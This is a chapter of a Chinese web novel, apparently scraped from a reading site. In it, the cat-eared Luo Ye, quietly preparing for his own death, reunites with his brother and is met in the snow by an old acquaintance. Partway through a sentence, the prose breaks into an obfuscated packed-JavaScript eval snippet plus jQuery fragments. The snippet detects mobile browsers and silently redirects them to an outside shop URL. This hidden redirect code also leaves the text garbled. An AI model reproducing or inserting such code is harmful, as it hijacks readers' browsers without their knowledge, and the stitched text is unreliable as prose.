*最后一段结束,请打开bgm《Gravity》Jaiwolf*
骆野忙了这么多天回到家,一点也没喘气地开始派送纪念品。从对门邻居开始,一路送到隔壁楼的唐先生家。
甜甜一见他来就眼睛发亮,再看到手里还拿着给自己的礼物,开心得差点从轮椅上蹦起来。
“天哪!骆野哥哥你太好了!”甜甜捧着骆野从贵州带回来的小羊玩偶,高兴得要从轮椅上蹦起来。
两只小羊的尾巴同时一甩一甩的,骆野摸了摸她的脑袋。
“谢谢你啊。”唐三源向他表示感谢,顺手给了他一箱椰子汁。
“诶不用不用。”
“你收着吧,大老远跑过来,”唐三源说。
“就是啊,”甜甜也附和。
骆野推来推去不肯收,最后还是唐先生有办法,直接把椰子汁往门口一放,“啪”一声关上了门。
留下骆野和一箱椰子汁孤零零站在楼道里。
“……”骆野直接看傻了,跟椰子汁包装上的明星面面相觑。
我天,他都没想到还有这个办法,果然还是家长段位高啊。
无奈之下,骆野只能抱着椰子汁回了家。
他当然也给骆芃准备了礼物,礼物早就整整齐齐堆在了骆芃床上。
骆野算着弟弟差不多该到家的时间,靠在玄关等着。
几分钟后,门开了。
骆芃进门时还一副半死不活的样子。
目光顺着玄关的拖鞋慢慢往上抬,在看见骆野的那一刻,尾巴“唰”地从校服里冒了出来,眼睛瞬间亮了起来。
脸上依旧冷冷的,语速却快得不行:“哥你回来了为什么不给我打电话?你有没有好好吃饭?你怎么好像瘦了,你怎这几天……”
“停——”骆野捂住耳朵,“几天不见话越来越多了。”
骆芃皱了皱眉:“哥……”
骆野笑着朝卧室方向抬了抬下巴:“你先进去看看里面有什么。”
骆芃愣了一秒,立马换上拖鞋跑到卧室。
在看见那堆礼物的瞬间,他整个人定在原地,尾巴都直直翘了起来。
下一秒,他猛地转身,朝着慢慢走过来的骆野扑过去。
正巧客厅的电视剧正在播好久未见的亲人在拥抱,画面文艺又感人。
而骆野这边。
“咚”的一声闷响,骆野听见了自己骨头被撞飞的声音。
“……”骆野斯哈一声。
好家伙,这是他弟吗?这是头牛吧?
骆芃小时候是这样,长大了还是这样,只要骆野出远门回来,他都会这样紧紧抱着,像是怕一松手人就又不见了。
骆野想挣扎出来,可又想到这样的拥抱以后会越来越少。
他安静下来,任由骆芃抱着。
他慢慢抬手,拍了拍骆芃的背,笑着叹:“你这是恩将仇报啊。”
“嗯。”骆芃靠着他的肩膀回答。
暖融融的客厅里,骆野感受着怀里真切的温度,侧头望向阳台外的天空。
难得一见的晴朗蓝天,蓝得像整块透亮的蓝宝石,干净又好看。
他轻轻吸了口气:“你看,天气真好。”
骆芃也跟着望过去,慢慢松开了手。
骆野笑着说:“前两年我还能把你掂起来,现在都得换我垫脚了,长得真快。”
骆芃攥着自己的手,小声说:“等我工作了,我一定给你买很多很多摄影机。”
骆野一愣,笑了:“我要那么多摄影机干什么?”
“拍视频啊。” 骆芃抬眼看他,“你不是一直在做视频吗?你以前说过,你想当导演。”
骆野确实说过这些话,但绝不是这几年。
他没想到,这种随口一提的话,骆芃却记到了现在。
“诶唷,真可爱。”骆野揉搓骆芃的脸,“那么久的事还记得呢。”
骆芃含含糊糊地说:“那时候浪浪哥也在。”
听到这个名字,骆野的手微微一顿,垂下眼轻声道:“那确实……挺久了。”
“不用担心了,明年肯定能见到的。”骆芃肯定地点头。
骆野被他这副别扭又认真的样子逗笑,弯眼道:“对了,我路上听了好多八卦,我们边吃边说。”
这天晚饭点的外卖,两人坐在一块儿,聊着一路上的见闻。
陌生人的事说两句就过去了,在视频里都能看到,主要还是说特别是老家那群人。
比如当年说自己单身主义的大姐姐明年要结婚了,比如原本恩爱的情侣最近在闹离婚,谁又买了房,谁又生了孩子。
菜快吃完了,骆芃放下筷子,擦了擦嘴:“他们没问你有没有对象吗?”
“肯定问啊,”骆野晃着头,模仿长辈们连环拷问的语气,“有没有对象,有没有工作,工资多少,房贷换了吗?来一个我回一个。”
“还好我没去。”骆芃有点幸灾乐祸。
“反正你以后也会联系的,我听到什么,你也跑不掉。”骆野笑着说。
他走之前,特意跟那些叔叔阿姨打过招呼,麻烦他们以后多照看骆芃。
大家都爽快得很,半点没犹豫就应了下来,那一刻他感动得不行,现在提起这件事,鼻头都有点发酸。
“今年过年要回去吗?”骆芃问他。
“肯定的,到时候让兰橘带你去,到时候你跟他们好好聊,”骆野说,“兰橘让你干什么就干什么。”
骆芃一下听出不对,抬头看他:“那你呢?”
骆野眼神轻轻错开,扒了一口饭:“我啊……说不定有事。”
“你不都辞职了吗?”骆芃不理解地看着他。
“要出远门呗。”骆野说。
“那我跟你一起走。”骆芃立马跟话。
“什么都要跟,”骆野当即用筷子敲了一下骆芃的额头,“你好好呆在这里,听你兰橘哥的话。”
“……哦。”骆芃低下头,闷闷地扒着饭,明显不高兴了。
骆野想安慰,但忍住了。
骆芃只是这样就已经闹别扭,他不敢想象,这孩子要是真知道自己的死讯,会崩溃成什么样子。
可惜到那时候,他也不能安慰骆芃。所以只能从现在开始,一点点让他习惯离开,慢慢戒断。
“怎么能这么苦呢。”
骆野蹲在电脑桌前,低声自嘲了一句,顺手拉开一罐雪碧。
细细回想这十几年,他们好像一直在失去。
先是妈妈,然后是小哑巴,最后,就轮到他了。
他给自己满上了一杯,对着剪辑完视频的电脑抬了抬手,也算敬了一杯。
晚饭结束后,骆野就回了房间剪视频。
这次的视频有四十分钟,堪比一次无广告的综艺,算是他做过最长的一支 vlog。
以前发布的都控制在十五分钟以内,他也不知道这次的完播率会怎么样,也不在乎了。
这个视频本身就是用作纪念的,让他的朋友能靠着这些画面,慢慢回忆他曾经存在过的日子。
所以这次的视频有点伤感。
骆野喝了一口雪碧,编辑标题:【vlog—我的三十三天】
视频在一点点导出,蓝色进度条缓慢爬行。
他盯着那条不断延长的线,久久出神。
当他死了以后,他的那些朋友们看见这段视频,再次想起他的时候会是什么样的表情。
这些,骆野都不知道,他只知道,天气预报说明天好像要下雪了。
可日子一天天过,直到庆功宴这天,天空依旧澄澈,连一点雪星子都没有。
“这天气预报到底准不准啊?”骆野低声嘟囔着,弯腰穿上运动鞋。
“你还看天气预报?”骆芃嗤之以鼻,“那你还不如信李澳鹏能当皇帝。”
这天是周六,骆芃也在家,一身睡衣。
骆野疑惑地转头看他,眉梢挑了挑:“李澳鹏是谁?”
骆芃:“我们班倒数第一。”
骆野:“……”
谁教他这么比喻的??
骆野只能叹口气说:“不准埋汰同学。”
“哦,”骆芃不为所动,依旧抱臂站在原地,补了一句,“所以你要带雨伞吗?”
“不带,”骆野抬眼望向窗外,晴空万里,“冷是冷了点,但看着应该不会下雪。”
骆野最后站在玄关的镜子前,理了理衣角。
他今天穿了件短款黑色羽绒服,微微立着领口;里面搭一件灰色高领打底,下身是修身的黑色直筒裤。
挺帅的,也挺精神。
他想着庆功宴的包厢里大概率会暖和,脱了外套要是只露打底太单调,所以戴了条细银链。
本来还想戴帽子的,但今天可能要喝酒,喝多了丢了帽子反倒麻烦,所以就没戴帽子。
骆野打开门,回头和骆芃说:“我走了,你好好吃饭。到楼下吃也行,钱不够和我说。”
骆芃抱臂靠在墙边,挑眉拆台:“我们家到底谁不爱吃饭。”
“放心,这次他们请客,我肯定吃的很多。”骆野笑呵呵地说。
顺手从玄关柜子上拿起给兰橘的礼物,塞进羽绒服口袋里,关了门。
庆功宴的地址离
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223944|197343||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
以前的公司不远,骆野坐地铁过去,还给兰橘打了电话,说自己带了礼物。
兰橘在电话那头一听,立刻兴奋起来,清了清嗓子就要开唱。
骆野戴着降噪耳机,怕耳膜被他震碎了,赶紧阻止这位百灵鸟开嗓。
兰橘感动地说:“那行,等见面了我请你吃饭。”
骆野:“……”
如意算盘都崩到他脸上了。
“今天是你请吗你就说请客,说话的艺术是吧?”骆野也开始拆台。
“那你今天放开吃,你的车费我买单。”兰橘说。
“我看你今天准备放开吃了吧?”骆野突然想起一件事,低声问,“你是不是没吃中饭。”
兰橘沉默几秒,开朗地说:“诶嘿,你猜。”
骆野啧啧两声:“完了,节目组的法人卡要刷爆了。”
兰橘有点心虚,声音小了不少:“哪有那么夸张,我肯定会节制的。”
骆野看着地铁屏幕上即将亮起的到站提示,起身走到车门旁:“你上次也这么说,结果呢?”
兰橘不服气地抗议道:“那次不怪我!我们一桌才八个人,菜就那么点,怎么可能吃得饱!”
骆野:“你怎么不提其他都是十二个人一桌。”
兰橘开始吹口哨:“嘘嘘嘘~”
那次真不能怪节目组。
兰橘能吃是全公司公认的,上次庆功宴,组里特地给他那桌只安排了八个人。
结果他一个人干掉了四人份还没吃饱,又额外点了馄饨和两大碗拉面。
他是吃爽了,大家都看傻了,至此一战成名,后面请客都会选自助餐。
回忆到这儿,地铁刚好到站。
骆野跟着人流走出闸机,心情还很轻松,刷着庆功宴群里的消息。
突然一条消息跳了出来,格外扎眼。
【小傲】:哦家人们,现在外头下大雪了,们有没有带伞啊?
“下雪了?”骆野抬头,看着入口进来的方向。
果真有人正收着伞,也有人不停拍打着外套上的白雪。
他的猫耳下意识往下垂了垂,耳尖的绒毛微微贴住耳廓,心里默默祈祷雪势能小一点,再小一点。
可惜事与愿违。
等他乘着电梯上到地面出口,天色早已在不知不觉中沉了下来,路灯循着暮色次第亮起,暖光漫过被雪雾笼罩的街道。
大雪毫无章法地砸下来,像是要把整个世界都盖住,疯狂地拍打着出口的透明玻璃。
门口堵着一群避雪的人,大多皱眉搓着手,没人敢冲进这片风雪里。
骆野:“……”
他是想让天气预报准,但也用不着这时候准啊?这和雨有什么区别?
难道骆芃那同学真得做皇帝了?
骆野的心理素质就是这样,都这时候,他还在想那同学的事。
甚至琢磨着要是这时候能进货来这儿卖雨伞,说不定能赚一笔。
骆野试探着向外伸出一只手,细密的雪花瞬间铺满掌心。
还有几片落在他的发顶,沁人的凉意往上窜,敏感的耳朵瞬间蓬起了一点毛。
骆野犹豫了片刻,点开群聊发了条消息。
【骆野】:出地铁了,没带伞,你们等我一会儿,雪小点我就走
【小傲】:okok,不着急,还有二十分钟才开始
【白楠】:师父你在哪个口?!我去接你
【骆野】:不用了,我等一会儿就好
【兰橘】:那我去接你
【骆野】:你带伞了?
【兰橘】:没
【骆野】:?
骆野无奈地扫了眼群里的回复,走到门口靠边的位置站定,点开短视频刷了起来,安安静静待雪势变小。
不过这场雪真是慢慢变小了,不过十分钟,门口原本拥挤的人群就剩下了三分之一。
骆野抬头,天上的倒计时被门口的黑松一大半,只能看见最后跳动的毫秒。
路灯的暖光洒在黑松的枝干上,细碎的雪花慢悠悠往下飘,比刚才小了很多。
“行吧,走吧。” 骆野收起手机,耳机里重新响起舒缓的音乐。
当他跨出第一步的瞬间,头顶的风雪忽然停了。
眼前的黑松枝蔓,恰好被一柄深蓝色的伞面盖住。
伞面微微向他倾斜,雪花顺着伞沿簌簌滑落,在他脚边绕开一道浅弧。
骆野的脚步猛地顿住,下意识扭头看去。
池枝越站在他身侧,肩头沾着细碎的雪。
望着他弯了弯眼,轻笑了一声:“好久不见啊,骆野。”